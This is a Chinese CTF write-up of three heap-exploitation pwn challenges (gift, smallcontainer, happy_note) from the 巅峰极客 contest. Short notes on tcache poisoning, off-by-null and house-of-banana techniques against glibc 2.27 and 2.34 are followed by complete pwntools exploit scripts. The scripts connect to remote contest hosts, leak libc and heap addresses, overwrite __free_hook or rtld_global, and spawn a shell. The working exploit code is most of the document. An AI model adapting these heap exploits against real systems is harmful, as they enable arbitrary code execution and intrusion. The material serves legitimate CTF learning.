# Pwn
# gift
程序保护全开
程序功能:
因为这道题 idx 太少了,直接 free 掉 7 个 chunk 填满 tcache_list
不可行,所以我是通过 bargain 函数修改 fd 指针到一个 fake_chunk
,这个 fake_chunk 大小属于 unsortedbin 范围,且可通过 add 一次 0x60 大小堆块修改到下一个已被 free 的 0x100 大小 tcache 去改掉它的 next
指针。
这样的话不仅可以泄露 unsorted bin 的 fd,还可以顺带改掉下一个已经被 free 掉的 tcache 的 fd,实现 tcache_dup
。
ps: 这里也有个洞不过尝试了一下不好利用,在 add 里面 mode 选择 3,会跳过 malloc 直接 read:
问题出在,远程 libc 不确定,我最先尝试的是 glibc 2.31 9.9
, free_hook
五个 ogg 都失败 (one_gadget -l2 可以查看更多 ogg)。因为 idx 原因也打不了 malloc_hook
,我打 exit_hook
成功了。
尝试远程之后寄。
后来尝试了 2.29 和 2.27,在 2.27 成功。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn') libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6') r = remote('101.200.85.91',44388)
def menu(choice): r.recvuntil(b"your choice:") r.sendline(str(choice))
def add(what,content): menu(2) r.recvuntil(b"your choice:") r.sendline(str(what)) r.recvuntil(b"plz write your wish on your gift!") r.send(content)
def delete(idx): menu(3) r.recvuntil(b"index?") r.sendline(str(idx))
def show(idx): menu(4) r.recvuntil(b"index?") r.sendline(str(idx))
def bargain(idx,offset): menu(5) r.recvuntil(b"index?") r.sendline(str(idx)) r.recvuntil(b"How much?") r.sendline(str(offset))
add(1,b'a'*0xc0+p64(0)+p64(0x451)) add(1,b'a'*8) add(1,b'a'*8) add(1,b'a'*8) add(1,b'a'*0xd0+p64(0)+p64(0x21))
delete(0)
delete(2) bargain(2,-0xe0) add(1,b'a'*8) add(1,b'a'*8) delete(6)
show(6) r.recvuntil(b'cost: ')
libc_base = int(r.recvuntil(b'\n')[:-1],10)-0x3ebca0 free_hook = libc_base+libc.symbols["__free_hook"]
one_gadget = libc_base+0x4f302 delete(3) delete(1) add(2,p64(free_hook-0x10)*8) add(1,b'/bin/sh\x00') add(1,p64(one_gadget))
delete(3)
log.success("libc_base: "+hex(libc_base))
r.interactive()
|
# smallcontainer
2.27 的 off by null,感觉没什么好说的。
洞出在这里:
edit 后会触发 check 函数:如果堆块内容连续 (不带 \x00),遇到堆块内容中含有 \x11 的字节就会转变为 0。
最开始打算用 0x111 大小的堆块去 off by null,后面发现填不满 tcache_list,猪鼻了,然后改成 0x211 大小的,直接打就行。这道题也不用怎么解释了,夹心饼攻击就行。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
r = remote('101.200.85.91',23533) libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/container/libc-2.27.so')
def menu(choice): r.recvuntil(b"> ") r.sendline(str(choice))
def add(size): menu(1) r.recvuntil(b"Input size: ") r.sendline(str(size))
def delete(idx): menu(2) r.recvuntil(b"Input index: ") r.sendline(str(idx))
def edit(idx,content): menu(3) r.recvuntil(b"Input index: ") r.sendline(str(idx)) r.sendline(content)
def show(idx): menu(4) r.recvuntil(b"Input index: ") r.sendline(str(idx))
add(0x1f8) add(0x110) add(0x110) [add(0x1f8) for i in range(8)]
[delete(j)for j in range(3,10)] delete(0) add(0x208) add(0x208) add(0x218) edit(10,b'a'*0x1f8) edit(10,b'a'*0x1f0+p64(0x1440)) edit(0,b'a'*0x1f0+p64(0)+p64(0x221)) delete(0) [add(0x1f8) for k in range(7)] delete(2) add(0x1f8) show(1) libc_base = int(r.recv(12),16)-0x3ebca0 free_hook = libc_base+libc.symbols["__free_hook"] add(0x1f8) edit(12,b'a'*0x110+p64(0)+p64(0x121)+p64(free_hook)) add(0x110) add(0x110) one_gadget = libc_base+0x4f302 edit(14,p64(one_gadget))
log.success("libc_base: "+hex(libc_base))
delete(2) r.interactive()
|
# happy_note
唯一一道稍微有意思的题。
Glibc 2.34 3.2,house of kiwi 刚好在这个版本失效,只有一次 UAF 而且 size 限制 <=0x200,所以打 mp_,hosue of emma 全不行。
一次 UAF 不是什么问题,可以分解成很多个 UAF, 但是限制了只有两次 add 机会,这就相当于限制死了我们只有一次 UAF 了。一次 UAF 是改不了 guard 的。
因此剩余的办法就只有两种:一种 house of banana,一种 house of apple2,house of apple3。
我选择的是 house of banana。
先泄露 heap,libc 基址和实现任意写:
我的方法是先用 0x200 大小的堆块填充满 tcache_list
,然后 UAF free 掉一个堆块,将这个堆块分割成两个小的堆块(0x10 和 0x1e0),只有这样才能实现任意写,不然原大小 (0x200) 的 tcache_list
是满的,也无法通过 malloc 来清空 tcache_list
。
然后 free 掉 0x10 大小的堆块,泄露高版本保护指针的 key,然后 free 两个大小 0x1e0 大小的堆块,通过 UAF 改掉其中一个的 fd,实现任意写。(高版本对 tcache count 有检测,不能 free 一个改掉 fd 就申请两次实现任意写)。
拿到任意写之后,我的方法是传统 house of banana
,打 rtld_global
的第一个变量 ns_load
,然后伪造。没开沙盒可以直接 getshell。
不过这道题直接打 libc 里的原有的 banana 结构体应该更好更简洁。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from secrets import choice from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' r = process('/mnt/hgfs/ubuntu/巅峰极客/happy_note/happy_note') r = remote('123.56.236.86',13397) libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/happy_note/libc.so.6')
def menu(choice): r.recvuntil(b">> ") r.sendline(str(choice))
def add(idx,size,choice): menu(1) r.recvuntil(b"Note size:") r.sendline(str(size)) r.recvuntil(b"Choose a note:") r.sendline(str(idx)) r.recvuntil(b"Choose a mode: [1] or [2]") r.sendline(str(choice))
def delete(idx): menu(2) r.recvuntil(b"Choose a note:") r.sendline(str(idx))
def edit(idx,content): menu(4) r.recvuntil(b"Choose a note:") r.sendline(str(idx)) r.recvuntil(b"Edit your content:") r.send(content)
def show(idx): menu(3) r.recvuntil(b"Which one do you want to show?") r.sendline(str(idx))
def UAF(idx): menu(666) r.recvuntil(b"Choose a note:") r.sendline(str(idx))
[add(i,0x200,1)for i in range(9)] [delete(j) for j in range(7)] UAF(7) show(7) libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x219cc0 add(0,0x10,1) add(1,0x1e0,1) add(2,0x1e0,1) add(3,0x1e0,1) delete(0) show(7) r.recvuntil(b'content: ') key = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-1 heap_base = key*0x1000 delete(2) delete(1)
rtld_global_addr = libc_base+0x25f040 edit(7,b'a'*0x20+p64(rtld_global_addr^(key+1))) add(4,0x1e0,2) add(5,0x1e0,2) edit(5,p64(heap_base+0x1130)+p64(0x4))
ret_addr = libc_base+0x0000000000028a87 one_gadget = libc_base+0xeacec
fake_link_map_addr = heap_base + 0x1130 payload= p64(fake_link_map_addr + 0x20)+p64(0x61) payload += p64(0) + p64(libc_base + 0x2607d0) payload += p64(0) + p64(fake_link_map_addr) payload += p64(libc_base+libc.symbols["setcontext"]+61) payload += p64(ret_addr) payload += p64(one_gadget)
flag_addr = fake_link_map_addr + 0xe8
payload += p64(fake_link_map_addr + 0x40) payload += p64(ret_addr) payload += b'./flag\x00\x00' payload = payload.ljust(0x110, b'\x00')
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) payload += p64(fake_link_map_addr + 0x120) + p64(0x10)
edit(4,payload) edit(8,b'\x00'*0x128+p64(0x800000000))
log.success("heap_base: "+hex(heap_base)) log.success("libc_base: "+hex(libc_base))
delete(0xb) r.interactive()
|